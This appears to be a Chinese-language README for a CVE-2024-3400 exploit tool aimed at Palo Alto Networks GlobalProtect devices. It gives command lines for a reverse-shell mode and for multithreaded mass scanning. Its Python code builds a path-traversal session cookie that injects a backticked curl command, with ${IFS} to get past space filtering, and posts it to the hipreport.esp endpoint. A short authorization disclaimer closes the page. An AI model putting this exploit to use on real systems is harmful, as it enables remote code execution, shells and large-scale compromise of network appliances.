CVE-2024-3400 漏洞利用工具 | Palo Alto Networks RCE 安全测试框架

4 阅读3分钟

CVE-2024-3400 Exploit Tool

专业级 Palo Alto Networks 安全测试框架 - 针对 CVE-2024-3400 远程代码执行漏洞的检测与利用工具

功能特性

  • 单目标精准测试 - 对指定设备进行定向漏洞验证,支持反弹 Shell 连接
  • 批量安全扫描 - 从文件中读取多个目标 URL,高效识别存在漏洞的设备
  • 多线程并发 - 可配置线程数,大幅提升批量扫描效率
  • 实时进度显示 - 集成 alive_progress 进度条,直观展示扫描进度
  • 彩色控制台输出 - 使用 rich 库实现分级彩色日志(成功/错误/警告/信息)
  • 灵活载荷定制 - 支持自定义 OOB(Out-Of-Band)回调地址,用于漏洞验证

安装指南

系统要求

  • Python 3.6+
  • 网络访问目标设备权限

依赖安装

pip install requests rich alive_progress

克隆仓库

git clone https://github.com/Chocapikk/CVE-2024-3400
cd CVE-2024-3400

使用说明

1. 单目标利用模式(反弹 Shell)

python exploit.py -u https://target.com -lh 192.168.1.100 -lp 4444 -bp 4445

参数说明:

  • -u, --url : 目标设备 URL
  • -lh, --lhost : 本地监听 IP 地址
  • -lp, --lport : 本地监听端口
  • -bp, --bindport : (可选)绑定端口,用于 ngrok 等场景

2. 批量扫描模式(漏洞检测)

python exploit.py -f urls.txt -t 50 -o vulnerable.txt

参数说明:

  • -f, --file : 包含目标 URL 列表的文件(每行一个)
  • -t, --threads : 并发线程数(默认:50)
  • -o, --output : 输出存在漏洞的 URL 到指定文件

3. OOB 验证模式

python exploit.py -f urls.txt -o https://your-interactsh-server.com -t 30

参数说明:

  • -o, --oob : Interactsh 或其他 OOB 回调地址,用于无回显漏洞验证

核心代码

漏洞利用核心类 PaloAltoSkids

import uuid
import base64
import socket
import argparse
import requests
import threading
from rich.console import Console
from typing import List, Optional
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed


class PaloAltoSkids:
    """
    CVE-2024-3400 漏洞测试类
    针对 Palo Alto Networks 设备的远程代码执行漏洞检测
    """

    def __init__(
        self,
        urls: List[str],
        lhost: str,
        lport: int,
        bindport: Optional[int],
        num_threads: int,
        verbose: bool,
    ):
        self.urls = urls
        self.lhost = lhost
        self.lport = lport
        self.bindport = bindport or lport
        self.num_threads = num_threads
        self.verbose = verbose
        self.console = Console()
        requests.packages.urllib3.disable_warnings()

    def custom_print(self, message: str, header: str) -> None:
        """彩色控制台输出,根据消息类型使用不同颜色"""
        header_colors = {
            "+": "green",   # 成功
            "-": "red",     # 错误
            "!": "yellow",  # 警告
            "*": "blue",    # 信息
        }
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )

    @staticmethod
    def generate_file_name() -> str:
        """生成随机 UUID 作为文件名"""
        return f"{uuid.uuid4()}.txt"

    def send_post_request(self, base_url: str, file_name: str) -> Optional[Response]:
        """通过目录遍历漏洞发送恶意 POST 请求"""
        post_url = f"{base_url}/ssl-vpn/hipreport.esp"
        cookies = {
            "SESSID": f"/../../../var/appweb/sslvpndocs/global-protect/portal/images/{file_name}"
        }
        # 后续请求逻辑...

批量扫描执行器

def execute_exploit(self) -> None:
    """多线程执行漏洞检测"""
    with ThreadPoolExecutor(max_workers=self.num_threads) as executor:
        futures = {
            executor.submit(self.send_exploit_request, url): url
            for url in self.urls
        }
        with alive_bar(len(self.urls), enrich_print=False) as bar:
            for future in as_completed(futures):
                try:
                    result = future.result()
                except Exception as e:
                    self.custom_print(f"处理 URL 时出错: {e}", "-")
                finally:
                    bar()

恶意载荷构造

def send_exploit_request(self, base_url: str) -> None:
    """构造并发送包含命令执行的恶意请求"""
    command = f"curl {self.oob}"
    malicious_cookie = f"/../../../../opt/panlogs/tmp/device_telemetry/minute/test`{command}`".replace(
        " ", "${IFS}"
    )
    cookies = {"SESSID": malicious_cookie}
    try:
        response = requests.post(
            f"{base_url}/ssl-vpn/hipreport.esp",
            cookies=cookies,
            timeout=10,
            verify=False,
        )
        if response.status_code == 200:
            self.custom_print("请求成功", "+")
    except requests.exceptions.RequestException as e:
        pass

注意事项

⚠️ 重要提醒 - 本工具仅用于授权安全测试。未经授权的漏洞测试可能违反法律法规。使用前请确保:

  • 已获得目标系统所有者的书面授权
  • 仅在测试环境或自有设备上进行验证
  • 遵守当地法律法规和负责任的漏洞披露原则 6HFtX5dABrKlqXeO5PUv/5LOBv9Gti8RwfDlEKrn0sc=